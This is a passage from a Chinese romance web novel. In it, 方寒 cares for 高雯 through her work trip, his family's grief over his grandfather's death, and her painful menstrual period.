“嗯。”方寒站在原地，目送车子离开。 高雯低头，看着怀里的纸袋子，她打开一看，里面是一份三明治，一份切好的水果，还有她最尝喝的牛奶。 她把牛奶先拿出来，牛奶是温的。 高雯看了看窗外，清晨的风微凉，风景不断略过，她手心的温热缓缓流进她心坎。 她唇角忍不住上扬。 方寒一直都是这么温暖和细心的人啊。 * 高雯到了T市，方寒不想一个人待着，收拾东西回家了。 方宏铭在后花园除草喂乌龟，他还买了不少锦鲤，每天投喂，养得胖胖，游动的身子都变慢了。 方寒走过去看，每一次见都感觉这些鱼胖了一圈。 后花园还是几个鸟笼，方寒看向一只鹦鹉：“这是新买的？” “嗯，”方宏铭点头，“不便宜呢，你妈骂了我几天。” 方寒走到那只鹦鹉面前，鹦鹉头羽和背羽呈黄色，有黑色条纹，它的眼珠子提溜转，歪头看着方寒，让他突然想到了那天在酒店，高雯也是这样看他。 方寒突然笑了，伸手要去碰笼子。 “大胆！”小鹦鹉倏然出声。 方寒当场愣住。 “老头子，”小鹦鹉又出声，“你吃了熊心豹子胆！” 方宏铭连忙走过来，出言骂鹦鹉：“胡说八道什么呢？” “胡说八道，”小鹦鹉接着话，摇头晃脑，“不爱运动的老头子，胡说八道——” 方宏铭：“” 方寒又笑了。 这鹦鹉，看着挺聪明。 事实证明，这鹦鹉不仅聪明，还特别嘴碎，张口就跟和方寒炫技能一样叭叭叭个不停： “老头子！” “我要吃炸排骨，为什么没有炸排骨？” “粥，要记得煮粥！” “你是笨蛋，大笨蛋，我是大美女，我大美女。” “还不是你生出的笨儿子，方寒大笨蛋。” 方宏铭实在受不了，把鹦鹉提着往前院去，简直是学人精。 “大胆，大胆，你个老头子大胆！”小鹦鹉还是叫嚷。 等方宏铭再一次回来，院子里安静了。 “妈呢？”方寒坐在小庭院里，泡了壶茶。 “国庆到处是活动，估计是和你秀芬阿姨到处蹭课领鸡蛋去了，”方宏铭说着嘟囔，“天天往外跑，一天出去好几趟，市长都没她忙。” 方寒给他倒了杯茶，看着周围又多了不少的花花草草：“您也挺忙。” 方宏铭轻哼一声，端起茶喝。 “妈这段时间忙点好，”方寒说完，顿了半晌，看向不远处，“外公忌日要到了。” 闻言，方宏铭放下杯子，深深叹气，脸上也变得有些凝重：“她一直都不接受，提起来就要难受很长一段时间，还是不跟她提了。” “我知道。”方寒点头，“我后天过去学校一趟，您就在家吧。” “行。” 胡虹回来时，拎了不少小玩意。 方寒瞅了一眼，都是一些手工品，不能吃喝，只当摆件，倒没什么坏处，他反而夸了几句。 “一个小姑娘自己做的，说是早早辍学，自学的手艺，家里父母生病，弟弟上学，真是太励志了，”胡虹形容，“长得白白净净，才二十出头，那个手巧的，一下就捏出来了！”胡虹将摆件拿出来，一直夸。 方寒左耳进右耳出，又来了：“爸妈，我先回去了。” 方宏铭接话：“怎么？你的儿媳妇人选又要换了？” “谁说的？”胡虹瞪眼，“我这一次是认准了。” 出门的方寒没听到胡虹的后半句，“我是认准雯雯的，雯雯就是我的儿媳妇！谁都不能跟我抢！” 方寒走在胡同里，偶尔传来叫卖声，偶尔路过一两个黄包车师傅，载着游客，一边骑一边绘声绘色讲述着历史。 他掏出手机，看了一眼。 上午发的消息，高雯回了。 自从去了T市，高雯明显变得很忙，她回的都是语音，估计是连打字都费劲。 方寒点开语音，放在耳边，高雯苦恼的声音传来：“这边下雨了，太潮湿，让人不太舒服，我不太适应。” 北方冷和南方的冷不一样。 冬天北方还有暖气，南方就是硬抗。 方寒知道未来几天T市的天气，都会下绵绵雨，气温会降低。 他放慢脚步，低头打着字。 高雯没回他了。 等到了晚上十一点半，高雯才打来了视频电话。 方寒原本躺在床上，他蹭一下就起身，赶紧走到书桌前坐好，快速整理仪容，深吸了两口气，这才接听她的电话。 视频那头，高雯不见人影，她说道：“我在敷面膜，避免吓到你。” “没事。”方寒说，“今天是不是很忙？” 说起这个，高雯就有话题说了，“从早上到晚上，压根没歇息，从理论到训练，我感觉他们恨不得不浪费每一分钟，我最不满意的就是——”她说着语气有些难以忍受，“那个盒饭超级超级难吃，真的很难吃。” “可能是不符合我的口味吧。” “给你叫份外卖吧？你想吃什么？”方寒问。 “大晚上了。”高雯摇头，“我也不知道要吃什么。” “明天又得很辛苦，多吃点没关系，我去过几次T市，知道有几家不错店，我给你点一份，你尝尝。”方寒说着还强调，“都是老字号，我每次去必点，很适合当夜宵。” 高雯被说动：“是什么？” “炖盅。”方寒说着已经在看，他听她提过一嘴入住的酒店，她住十九楼，“你住在几零几？” “1905。” 方寒：“好。” “可是我都困了。”高雯说着打了哈欠。 “你还没护肤，等你护肤结束，就到了，离得不算远，”方寒说着道，“浅尝几口吧，不然我怕你太过于辛苦又委屈，夜里睡不好。” “才不会。”高雯说着自己都笑了。 他还是了解她的，从今天吃晚餐开始，她的心情已经有些郁闷。 高雯和方寒说着话，面膜刚敷完洗了脸，还没开始护肤，外卖就到了。 “好快。”高雯诧异不已。 “吃点吧，时间也不早了，吃完早点睡觉。”方寒笑着说。 高雯把外卖拿进来，她把手机摆在桌面上，伸手解开外卖袋子。 她的脸清晰出现在手机屏幕里。 方寒看着这张脸，还是会怦然心动，眉眼都变柔和了。 “你今天回家了？”高雯问。 “嗯，上午回去，下午去公司。”方寒说。 “国庆还加班。”高雯从里面拿出一个完整的椰子壳，她略微一怔，掀开上面的盖子，一阵椰香味传来，刺激着她的味蕾。 方寒：“国庆加班的不少，他们要错开国庆去旅游，而且还有三倍工资。” 高雯了然，她喝了一口汤，直接鲜掉眉毛，方寒非常清晰看到，她眼睛一下亮了，惊喜望向他：“哇——好喝。” 方寒跟着笑了。 “我原谅这个城市了。”高雯一本正经说。 “我替它谢谢你。”方寒笑意不减接话，“吃点就行了，时间不早了，你要早点睡，明天还要早起。” “嗯。” 高雯在安安静静喝汤，方寒的视线一直落在她身上，漆黑的眸光里盛满了爱意。 * 又过两日。 这一天，方寒起了个大早，他去了国立东南大学，沿着校道慢慢走，一路来到了院士楼。 红砖墙，瓦屋顶，外面是一圈低矮的围墙，方寒推开门，进入小院，院落旁的那棵石榴树进入了采摘期，上面结满了石榴果，红彤彤的。 方寒站在树下许久，过了好一会才走去开门。 客厅内，摆设极其简约，唯一多的就是一排排整齐的书架，里面摆满了书籍。 屋内的装修还保持着上世纪的样子，带着岁月的痕迹。 方寒走到实木桌边，拿过那个老旧的白色陶瓷茶杯，煮水泡了杯茶，轻轻放在桌面上，随后开始给窗户上的绿植浇水，带着扫把往院内走去。 今天是训练最后半天，重要内容相对少。 高雯看了几次手机，方寒一整天都没回她消息，有些奇怪。 第48章 第48章 方寒在院士楼待了一天，扫地…… 方寒在院士楼待了一天, 扫地抹灰除草。 今天的天气好，他把许多泛黄的书籍拿出来晒一晒，中午就坐在小院的台阶上, 看着阳光透过那棵茂盛的石榴树, 在地上投射出斑驳光影。 夕阳西落时，方寒上树将成熟的石榴树摘下来。 果树茂盛, 他年年摘。 选出成色好的，给附近尚且还在世的老教授送去。 “小寒来了？”老教授扶着老花镜，看着他送来的石榴, 唉声叹气，“人老了, 也吃不了多少，你有心了。” 老教授说着回忆从前, 往地上比划高度：“我记得, 你还那么小的时候, 你外公也是带着你摘石榴，每年都给我们送。一眨眼, 你都这么大了, 过去这么多年了。” “对了，你谈女朋友了没？” 到了这个年纪, 这个问题似乎都逃不过。 方寒含糊回应就离开了。 一路上, 方寒提着一大袋石榴，到处都是大学生，没一会就分发大半。 他还剩了精挑细选的一小袋, 拎着往回走。 方寒并未直接回去，而是静静绕着国立东南大学附近的小路走了一圈，夜色渐渐黑下来, 昏黄的路灯亮了，天上的明月发出柔和的光。 从国立东南大学的地铁站，能直接到他所住的小区。 期间，方宏铭给方寒打过电话，他压低声音问：“你去院士楼了？” “嗯。” “你妈今天一天都没出去，就在床上躺着，也不搭理人。”方宏铭说着无奈，“你要不要回来看看？” “算了。”方寒拒绝。 他回去起不到什么好效果，徒增胡虹的难过。 方宏铭：“事情都过去这么久了，她还是没接受。” 方寒没接话。 别说胡虹没接受，他也没接受。 方寒抱着那一袋石榴，走进小区，选了一个昏暗灯光下的椅子，走过去坐下来，往后靠，默默坐着。 他也不知道自己坐了多久，看着附近来来往往的人群。 有一起牵手的恩爱情侣，有甜蜜的一家三口，还有来去匆匆的行人 倏然，方寒的身边坐了一个人。 方寒侧头望去，看清来人后，神色一滞，还以为出现了幻觉。 高雯莹润清透的脸上带着笑意：“是不是很意外？” “你怎么提前回来了？” “提前结束就改签早点回来，不然待着做什么？又不习惯。”高雯说完，“你今天太忙，我就没跟你说。” 她发的消息，方寒都没回。 高雯思来想去，改了航班。 “抱歉，我今天的确没看手机。”方寒话语歉意，说这话的时候，神色收敛。 “没关系啊，”高雯撒了谎，“我和她们一起回来的，一群人一起。” 方寒放下心，他左看右看，高雯知道他在找什么，纤细的手指向不远处，“我的行李箱在那。” 他顺着望过去，她的行李箱放在路边。 高雯看了看方寒怀里的石榴，又看了看他，继续陪他坐着。 “吃饭了吗？”方寒问。 “吃了飞机餐。”高雯回。 “那你应该没吃多少。”方寒站起身来，往一边走，要去帮她推行李，“我们回去吧。” “你不坐了吗？”高雯在一边看了他很久，他一动不动的，她张口道，“我刚来你就要走啊？” 方寒拖着她的行李往回走，轻声道：“我是担心你害怕蛇。” 他话音未落，高雯蹭一下就站起来，吓得头皮发麻小跑往前，以极快的速度来到方寒身边，余光看着周围，忐忑警惕。 “别担心，上一次都全搜过了，不会有的。”方寒安慰她。 “那你还吓我！”高雯冷哼。 方寒：“我是担心你害怕。” “好吧。”高雯伸手，从方寒手中接过那一袋石榴。 “给你拿的。”方寒说。 “谢谢。”高雯大方收下，她把一个石榴拿出来看，石榴小小的，红彤彤，不像买的，应该是从树上采摘下来的。 两人聊着天，方寒推着行李箱，高雯抱着那一小袋石榴，往单元楼里走。 到了家，高雯把石榴放下，从袋子里取出一个：“我看着挺好吃，我尝尝，” 方寒走到厨房：“你想吃点什么？” “面条吧，我想吃番茄鸡蛋面。”高雯说。 方寒打开冰箱，开始在厨房忙活。 面条煮起来很快，没一会香味就传出来，他端着两碗面条出来。 方寒刚坐下，高雯就把装满石榴籽的小碗推到他面前：“你尝尝，这个石榴还挺甜。” 看着面前的那一小碗石榴，方寒有一时间失神，久久没有其他动作。 “学长？”高雯见他神色不对劲，小声出口。 方寒低头小口吃面，温声道：“那棵石榴树是我外公在我出生那年种的，品种好，年年都结满果。他在世的时候，每年都会带我采摘。” 高雯不太能理解方寒和亲人之间的感情。 不过他说他从小由老一辈带大，感情应该深厚。 她看着面前的石榴籽，想到了方寒今天的不对劲，隐约也猜到了一些，轻声道：“他肯定很疼你吧？也把你教得很好。” 方寒垂眸沉默半晌，语气有些低哑道：“我初二那年，我妈回家，要带着我去逛街，给我买几身衣服，回来晚了，他心脏病发作没人发现，去世了。” 当时药片就洒落在不远处，老人家拼命往前爬，就差那么一点。 胡虹大受打击，精神失常大半年才逐渐好转。 自从胡父去世，胡虹就再没去那栋小楼看过，也不会提及，大家都知道，她没接受。 高雯能感觉到方寒浓浓的悲伤和自责，她清明的眸子望向他，话语清晰道：“这不是你的错，也不是你妈的错，没有人能预料到，你们也不可能随时守在老人身边。” “他要是知道，肯定不希望你们这么责备自己，爱你的人，永远都会爱你，就算去世了，他想的也是如何庇佑你，希望你幸福快乐。” 方寒抬头看向高雯，她的眸光里带着认真，还把石榴籽拿在手心，往他面前递过去一点，唇角上翘道：“很甜很甜，真羡慕你每年都能吃到这么甜的石榴。” “这棵树都陪你二十多年了啊，下次有机会，请带我去认识一下它。” 方寒唇角微挑，从她手心接过几粒石榴籽，放在口中。 “我给你带了特产，为了买这些特产，还浪费我不少精力呢，”高雯走到一边，打开行李箱，“因为实在太多，其他的我邮寄回来，这些我就带回来了。” 高雯分享着她买的东西。 走之前行李箱空荡荡，回来的时候，行李箱塞得满满。 方寒是见识过她去超市的购物能力，对于她买了大半个箱子“纪念品”表示接受理解，甚至和她一起收拾。 “这几天累到了吧？”方寒说。 “嗯。”高雯点头。 她说累到了，就一直是累了，方寒看着她脸上的疲倦，眼底泛起怜惜。 “看！”高雯拿出两个文创钥匙扣，举了起来，笑意盈盈道，“可爱吧？上面还是地标建筑，表示我‘到此一游’。” “很好看。”方寒说。 “你选一个，我送你。”高雯原本是买了两个都给自己，但她现在觉得，可以送方寒一个。 方寒低头，认真在选：“这个？” 高雯很大方：“给你了，你也‘到此一游’了。” “谢谢。”方寒低低笑出声，眉宇间都是温柔。 “不客气。” 高雯集训了五天，又匆匆赶飞机。 她累到在去机场的路上，都在打瞌睡，候机的时候也趴在椅子上睡觉。 在她计划里，本来是在酒店睡上一觉，第二天慢悠悠回来的。 后来，她没犹豫就改了航班。 高雯真的很累，躺在床上，这几天训练强度大，她身体都是酸软胀疼的，但她却没困意，闭上眼，脑海里都是刚刚在楼下的那一幕。 方寒一个人坐在昏暗的树下，弓着身子沉默着，身上笼罩着一股难言的落寞。 在她记忆里，他都是一个温和阳光的人，是一个在爱意里泡大的人。 原来他也有很难过的事情。 接受的爱意越深，估计会越难割舍吧。 高雯睡不着，拿起手机，给方寒发了一个表情包。 方寒拿过手机，看到一只可爱的小熊在敲门，探出头：在吗？ 他嘴角勾笑：【在的。】 五分钟后。 两人出现在了楼下。 夜晚人少了，晚风微凉，在方寒的刻意提醒下，高雯穿了一件外套。 两人并肩走在小道上。 “饿吗？”方寒问。 “还好。” 方寒：“估计是被我影响心情，你刚刚没吃几口面条，现在不睡就要饿了。” “你要这么说的话，是有点，”高雯昂头看向他，“不过不是因为你，你给我带了很甜的石榴，我的心情很好啊。” 方寒笑：“出了小区，往右拐几百米，有一条小吃街，晚上很热闹。” 高雯习惯早睡，所以她并不知道。 “我要去！”高雯立刻接话。 “走吧。” 高雯没想到，第一次在路边撸串是和方寒一起。 比起自己，她更觉得他和这个环境格格不入，不过，他一直都是个适合细水长流过日子的人。 她其实真的不太饿，还是点了一桌，她已经习惯晚上不怎么吃东西，但方寒今天肯定没吃什么，而且他是个不会浪费的好孩子，肯定会多吃。 四周都是烟火气，高雯说着这几天的事情，方寒听得认真，他的唇角笑容未消，眼底流淌着道道柔光。 这几天布满阴霾的心情，逐渐消散，晴天万里。 她的好，他又发现了多一点。 第49章 第49章 国庆剩下的两天，一天用来爬…… 国庆剩下的两天, 一天用来爬山，一天用来吃美食。 方寒已经找好几家店，还做了攻略, 就等高雯从中选一家。 高雯去T市培训了五天, 大部分时间还吃得清汤寡水，放纵一天大吃特吃, 她完全没有任何愧疚感。 最后这两天，玩得还算尽兴。 尤其是方寒带高雯穿越在A市的街头小巷，让她对这座待了几年仍旧陌生的城市, 又有了新的惊喜，多了一丝丝认同感。 高雯上班第一天, 带着她的特产，去了瑜伽馆。 馆里前两天就恢复了课程, 林思悦和张妮几人早就来上班了, 看到高雯拎着特产来, 高兴不已。 前台小姑娘还道：“雯雯老师，你不在馆里, 来上课的会员肉眼可见变少啊, 每天都得少排两节课。” “这样啊，那接下来几天帮我多排些。”高雯笑。 “好嘞！” 高雯的课一排上, 会员就抢着约。 她重新恢复了繁忙。 不过, 令高雯疑惑的是，胡虹没来。 前段时间，她每天都早早来了, 除了下暴雨那次，没缺席过一天。 高雯的会员很多，连续上课的也很多, 断断续续上课的更不少，经过这段时间，胡虹应该养成了习惯，她想来的时候，就会来的。 换了别人，高雯不会过问，显得在逼对方来消费。 只是胡虹情况特殊。 她能感觉到她真心实意的关心。 高雯还是没忍住，给胡虹发了消息：【阿姨，最近还约课吗？】 她是担心对方出了什么事。 胡虹最近蔫蔫躺在床上，做什么都没劲儿。 偶尔背着人掉几滴眼泪。 高雯给她发消息时，胡虹已经好几天没出门了。 方寒回了三次家，没多大效果，几乎每年都这样，他默默离开，不想再让胡虹多想多伤心。 胡虹回高雯消息：【我最近生病了。】 高雯：【好些了吗？】 胡虹：【好多了。】 高雯：【我从T市回来了，给您带了特产，我给您带过去吧？】 胡虹看到这句话，从床上撑起身子，她决定了：明天就去瑜伽馆！ 高雯还惦记着她，给她带特产，她怎么可能让人专门送上门。 不行不行！ 次日。 上午六点。 高雯见到了胡虹，她脸上带着淡淡的笑意，依旧拎着保温瓶：“我今天给你带了银耳酒酿小丸子，很好吃的！” 除了这个，还有邻居给的几个小苹果。 胡虹还道：“纯天然无污染，那棵苹果树年年摘。” 高雯想到了方寒口中的石榴树，低眉轻笑：“肯定很好吃，我一会尝尝。您来这么早，还给我带粥，不过我今天吃了早餐。” “你吃了什么？”胡虹走过去坐在垫子上，觉得她肯定瞎糊弄。 高雯走过去拿辅具，声音清脆：“三明治、贝贝南瓜蒸蛋、还有牛奶，比较丰盛。” 这几天，方寒都早起做早餐，两个人一起吃后，他和她一起出门。 她来上课，他就去健身房后再去上班。 胡虹很满意：“我给你拿的，你就当甜品吃。” “好，谢谢您。”高雯走过去，给胡虹松解肌肉。 她先给对方擦了精油，然后才开始。 上课的过程中，高雯有些察觉到胡虹心思游神，有些强撑着精神，她也当没在意，极力把对方的注意力拉回来，适当放了水。 上完课，高雯去拿了油，提前给胡虹揉擦。 她动作温柔耐心又细致。 胡虹看着高雯白净清丽的脸，感慨道：“年轻真好，长得又漂亮，人又努力善良，哪哪都好。” “您真是带滤镜看我了。”高雯每次听到胡虹的评价都觉得受之有愧。 “我看人准的，”胡虹还有些小傲娇，她说完有些沉默，半晌后声线很缓道，“人的一生很短，一晃，就过去几十年了。” “父母一个都不在了，亲人也去世好多，我也半边身子埋土了。” 高雯给胡虹擦拭药油的动作顿了顿，回过神后，她扬起笑道：“您放心，您的身体很好，长命百岁没有问题，您以后不得照顾孙辈啊？说不定等过一两年，您就没这么多时间来瑜伽馆找我上课了。” 面对方寒，她尚且还能安慰，她着实没有安慰长辈的经验，所以没办法开导胡虹，只能从对方最在意的事情上入手。 “说不定等到什么时候呢。”胡虹成功被转移注意力，“我家那臭小子，油盐不进，我都怕他孤独终老！” 从教室出来，高雯给胡虹拿了一盒特产。 不是什么值钱的东西，胡虹却异常高兴，像个收到礼物的老小孩。 高雯又从前台拿过一小盆多肉：“上次您说，这里养的多肉好看，您很喜欢，我就给您申请了一盆。” “给我拿回家养哦？”胡虹微微睁眼。 “嗯。”高雯点头。 “谢谢雯雯。” “明天还是早上六点？” “好好好。” 胡虹笑着回去了。 她回家后，方宏铭很快察觉到她愉悦的心情，心里松了一口气。 方宏铭给方寒发消息：【你妈早上去了一趟瑜伽馆，回来后就笑眯眯了，那个小姑娘把她哄好了。】 方寒看到消息，这几天悬着的心落下。 他想到了高雯，眉眼变得温柔，拿过一旁的手机，给她发消息。 夜色降临。 高雯九点下完课，往另一栋办公楼走去。 她来到公司时，办公室内就剩方寒了。 “又只剩下你啊？”高雯探头，眉眼弯着问。 “除了我们这个项目，最近都不太忙，”方寒起身，走过去把灯全开了。 高雯点头，她往方寒工位走：“为了早点回去，我们就抓紧时间吧。” 国庆耽搁这么多天，高雯回来又忙了几天，项目上的对接，已经拖了一段时间，这个项目要不是张妮和方寒牵线，她估计有得忙。 “嗯，”方寒走回去，拉过一把椅子给高雯坐，又把工位上的台灯打开。 高雯上次来还没看到这个灯，她看着高颜值的台灯：“新买了的？” 方寒回：“对，护眼灯。” 他并未说是因为怕再次断电，只说是因为护眼，高雯余光看着方寒温和俊逸的侧脸，心下有些触动。 方寒握着鼠标的手收了收，眼神也有些闪烁，极力控制：“前两天开会你没来，我跟你说一下项目进度，还有一些需要解决的问题以及你自己的一些建议看法。” “嗯。” 明亮的办公室内，方寒嗓音醇厚清润，偶尔掺杂着高雯温软动听的声音，进入工作状态，两人都比较专心致志，在自己的领域有独到见解。 认真倾听，提出建议，合理采纳。 交流沟通顺畅，一个小时就解决了，比两人预料的还要顺利。 “行，”方寒整理着资料，“给我十分钟，我归纳好后，我们就回去，等明天我再让他们异议处理。” 高雯点头：“我去个洗手间，马上回来。” 方寒给她泡了一杯茶，她刚刚说话太多，不知不觉喝完了一杯。 高雯起身往洗手间走。 方寒看了看时间，加快了打字速度。 他记得，她要早睡的。 这个项目耽误她不少时间。 此 时，洗手间内的高雯整个人都在发懵中。 她刚刚就感觉小腹不太舒服，有点担心，所以想来看看。 今天中午还没事，又是第一天，没什么大问题才对。 结果就是走不出去了。 方寒见高雯迟迟没回来，心下担忧，他又等了一会，实在坐不住，起身往洗手间走去，唤了她一声：“高雯？” 高雯听到方寒的声音，白皙的脸蛋一下涨红，更加无措尴尬了。 方寒没听到她回话，更加不安：“你在吗？” “啊？”高雯听出他的着急，赶紧接了话。 方寒听到回应，才缓了脸色：“我出去等你。” “学长。”高雯硬着头皮，叫住方寒。 方寒：“我在外面。” “那个，我——”高雯一张脸滚烫，脖子和耳朵都红了，“我想请你帮个忙。” 方寒：“你说。” “我来生理期了，出不去了，”高雯感觉自己即将社死，她有些欲哭无泪，“我能麻烦你帮我买点东西吗？” 三分钟后，方寒出现在楼下二十四小时便利店前。 方寒看着一排排卫生巾，旁边正在挑选的女孩还看了他好几眼，目光打量探究，要不是见他长得帅，气质清雅，下一秒就赶紧溜。 方寒紧抿薄唇，快速研究，选了其中一包，他看了看手机，而后找到店员，请教问：“您好，请问女孩子用的一次性内裤有吗？” “有的，在这边。” “谢谢。” 高雯也不知道来势如此凶猛，她在等方寒的时候，肚子的不适越发明显。 所幸，方寒回来得足够快。 高雯接过他递进来的袋子，打开看到一次性内裤，脸上再次爆红。 她从洗手间出来时，都不好意思看正在走廊等她的方寒。 丢死人。 高雯极力维持着如常神色，她不苟言笑的时候，实际上有些高冷，方寒小心翼翼观察她，担心问：“你还好吗？” 他说话时，双手不自觉蜷缩手指，也是很紧张了。 “还好，回去吧。”高雯深吸一口气。 一到家，高雯丢下一句：“我困了，就先睡了，学长拜拜，晚安。” 话音未落，她就迅速回房关门。 方寒看着紧闭的房门，想了想，还是掏出手机，拿出刚刚收藏的页面，走进了厨房，想给她熬点苹果红枣生姜水。 这些家里刚好有。 熬好后，方寒走到高雯房门前，他没选择敲门，而是给她发了消息。 高雯许久没回。 睡了？ 方寒端着碗，刚转身，屋内就传来“哐当”一声，伴随着一阵闷哼。 “高雯？”方寒心下一惊，连忙轻轻敲门，“你睡了吗？” 第50章 第50章 高雯此时是疼得冷汗直流，头…… 高雯此时是疼得冷汗直流, 头痛欲裂。 她回来时就洗漱上床了，没睡着，小腹反而越来越疼, 难以忍受。 高雯挣扎着起床, 想去喝点水缓缓，结果一个没站稳, 从床上翻滚下来，疼得她都站不起来，坐起身捂着肚子, 蹲在地上直吸气。 以前，高雯生理期顶多有些不适, 根本不会这么严重。不知道是不是和最近太累有关系，疼得她眼冒金星。 方寒的声音, 简直是一道救命符, 她靠在床边, 伸手去拿手机，拨打他的电话。 电话刚接通, 方寒那边就道：“我好像听到你的房间有动静, 你没事吧？” “我不太舒服。”高雯说这话的时候，不断在抽气, 声音都在颤抖。 方寒听出她语气不对劲, 当下就道：“我现在开门进去了？可以吗？” “嗯。”高雯咬着唇回。 方寒马上折回房间，取了她放在他那边的钥匙，打开了她的房门。 高雯就坐在地上, 双手捂着小腹，身子弯着，脸色毫无血色, 细汗不断往外冒。 方寒赶忙走过去，要将高雯扶起来。 她的手完全腾不开，一直按压着她的肚子，摇着头虚弱道：“我起不来，太疼了。” 方寒只能弯腰，一双有力的手臂穿过高雯的膝盖窝，将她公主抱起来，放在床上。 一回到床上，高雯翻了身，把自己的脸埋在被子里，整个人缩成一团。 太疼太疼了。 “要去医院看看吗？”方寒不懂这方面，看到她这么难受，眉头不断拧了拧。 高雯摇头：“去医院没用的。” “要怎么做？”方寒来到床边，看到她双手揪着被单，心下着急担忧。 高雯再一次摇头。 没有办法。 这样的经历，她在高三的时候经历几次，吃止疼药都没太大效果，反而会胃疼。 只能撑过去。 方寒：“网上说吃点苹果红枣生姜水会缓解一点，我已经煮了，你喝点。” 高雯动都不想动，继续把头埋在枕头里，疼得直咬唇。 方寒重新把那碗熬煮的生姜水端进来，见她没动，走进床沿，俯身放轻话语轻哄：“喝了会舒服一点，喝两口也行。” “太疼了。”高雯语气无力，她又翻了个身，扭头看了看方寒手里的碗，把头又埋进了枕头里，语气闷闷，“我真的太疼了，我想想。” 高雯说的想想，也就安静了五秒钟，她就撑着坐起来。 方寒拿过枕头，放在床头，她就势躺下去，继续用双手捂着她的肚子，整个人无精打采，脆弱不堪。 高雯看向方寒，拖着声线皱着脸：“我不是很想喝。” 水喝多了，肚子更胀。 “喝点吧。”方寒见高雯这样，舀了半勺，喂到她嘴边，“你试试，喝不惯的话，就不喝了。” 高雯看着喂到嘴边的勺子，他眸光里的担忧不加掩饰，她的眼眶有些发热，鼻尖也跟着发酸，缓缓张了口。 没有格外酸甜的味道，温度正好。 从小到大，高雯在生病都没有得到格外的关心，高父长年奔波工作，母亲宋洁照顾她，生病是要挨骂的，无外乎说都是因为她作，是她不小心，给家里带来麻烦。 高雯生病都是自己扛，甚至害怕被知道，担心被指责。 而这个时候，她心理最脆弱，心思最敏感。 高雯还是一口接着一口喝完，不知道是不是真的起了效果，还是说被方寒的举止暖心，尽管还是很疼，但她觉得不那么难熬了。 “贴暖宝宝有用吗？”方寒起身，把碗放在一边。 “没用，那点温度都不够。”高雯说。 “我买了个暖水袋，网上说，这个也有效果。”方寒正说着，门口有人敲门，他拿着碗快步走出去。 过了大约五分钟，他回来了。 手上拿着一个热水袋，外面还有一个浅蓝色的套子。 方寒把热水袋递给高雯：“用这个吧，看看会不会好点。” 高雯接过来。 热水袋的温度比暖宝宝高，而且覆盖范围广，又有套子，不用担心会被烫伤。热水袋一放在小腹上，疼痛感直接减轻。 高雯感觉自己活过来了。 “有没有好点？”方寒轻声问。 “嗯嗯。”高雯用力点了点头，“谢谢，这个疼，我能忍受了。” “没事，”方寒眉头跟着舒展了些，走上前扶着她，“睡下吧。” 高雯躺了下来，因为有热水袋，她再也不用蜷缩着身子，都能平躺了。 方寒拉过被子，给她盖上：“时间你不早了，睡吧，有事叫我。” 高雯点头。 方寒出门前，把她的房门关上。 躺着的高雯并没有那么快入睡，她看着门口，感受着热水袋不断传来的余热，这似乎，也不算一件太糟糕的事情。 * 翌日。 高雯的疼痛缓解一些，但根本上不了课，她的神色还是无精打采，就请假了一天。 她习惯早起，一大早就打开房门，拖着脚步就要去接水。 方寒正好走出来，伸手接过她的水杯：“我来。” 高雯松了手，磨磨蹭蹭又往沙发走。 方寒给她接了杯温水，见她这样，就知道还是疼，开口问：“热水袋呢？” “在床上。” 方寒说道：“我去拿了给你接点热水？” “嗯。” 高雯喝了两口水，就坐不住了，整个人躺在沙发上。 方寒倒掉原来的冷水，重新接了水，走过去拿来高雯。 “谢谢你。”高雯全靠毅力支撑，接过热水袋，满脸都是感动。 没有方寒，她昨天可能真就疼哭了。 疼哭都得偷偷哭，擦干眼泪继续忍。 “今天气温有点低，外面是阴天。”方寒说着，走到他的房间，把上次高雯盖的小毛毯拿出来，“这个是新的，只有你上次盖了。” “给我吧。”高雯也想盖着，她的确变得怕疼，盖着小毛毯的话，身上温度高些，热水袋也没那么容易变凉，“这个毛茸茸的小毯子暂时是我的了。” “可以，送给你。”方寒含笑说着，伸手替她往后拉了拉，盖住她的脚。 高雯躺在沙发上，就不想起来了。 而且，要是在房间躺着，一个人的时候时间难熬，她不想一个人待着。 方寒进了厨房。 高雯看向他：“你要做什么？” “做早餐，你想吃什么？”方寒回头问。 高雯什么都吃不下去：“没胃口。” “总要吃点。” “不要。” 方寒煮了鸡蛋小米粥。 他端着一碗，看着高雯。 “你放在这。”高雯想起他昨晚喂她的事情，当时的确太疼了，压根没有半点思考，如今想来，脸色通红，她指了指沙发前的茶几，“我不想坐餐桌上，你放着。” 她丝毫不怀疑，如果她允许，方寒真的会喂她。 方寒放在茶几上：“有点烫，晾一晾。” “好。” 方寒说完，又折回了厨房。 高雯看着他在里面继续忙忙碌碌，她慢慢坐起来，嗓音清缓问：“你在做什么？” “给你煮点苹果红枣生姜水，”他说着回看她，“虽然不知道有没有用，但或许有用呢？” 高雯捧着手里的小米粥，看着在厨房的方寒，外面又下雨了。 房子是三室一厅，客厅被一大半隔出来租给许菲，所以剩下的客厅没有阳台，光线很暗，进来的话就要开灯，只有厨房有一扇小窗户。 这个地方很小，高雯以前觉得是将就过渡，现在她觉得，其实没什么不好。 她好像不需要很大很大的房子，也不需要所谓的落地窗健身房和书房，只要有一个地方，能让她有安全感，在这个城市扎根，就很好了。 这个愿望很小很容易实现。 高雯喝了口小米粥，对方寒道：“你也没吃早餐，我一个人吃怪无聊，你别忙了。” “马上好。”方寒加快速度。 他出来时，拿了蒸好的鸡蛋和奶香馒头，问高雯：“吃吗？” 高雯坐在沙发上，方寒就把盘子端到茶几上，他拿了个小凳子，坐在她对面。 “我只吃鸡蛋白。”高雯掰了一小块馒头。 方寒：“我不介意吃蛋黄。” 高雯笑了：“那正好。” 方寒剥了两个鸡蛋，把蛋白都给高雯，蛋黄留给自己，又把她掰下的那块馒头吃了。 高雯没吃多少，实在撑不住又躺下来，她看着天花板，又看看墙上的闹钟。 她希望时间过得快一些，明天会比今天好很多。 方寒把煮好的苹果红枣生姜茶放在茶几上，从屋内拿来电脑，坐在餐桌上陪她。 搁以往，高雯还能和他聊聊工作，她现在是坐立难安，躺着刷短视频都看不下去，闷疼得躺在沙发上翻来覆去。 全靠方寒每隔两个小时给热水袋换一次水吊命。 高雯无声叹气，她看着在看电脑的方寒，辗转数次后，语气请求：“你和我说说话吧？” 她太难熬了。 方寒的视线从电脑上收回来，看向她：“好。” “说什么？我不想聊工作。”高雯很痛苦。 方寒真诚发问：“中午你想吃什么？” 高雯：“我没什么胃口。” “总要吃点的。”方寒起身，走回厨房，从冰箱里拿出桃子，用热水泡了泡，切开给高雯端过来。 没胃口时，轻轻脆脆的水果成了高雯的最爱。 她狂吃水果。 方寒在网上买了很多食材，想给她做饭。 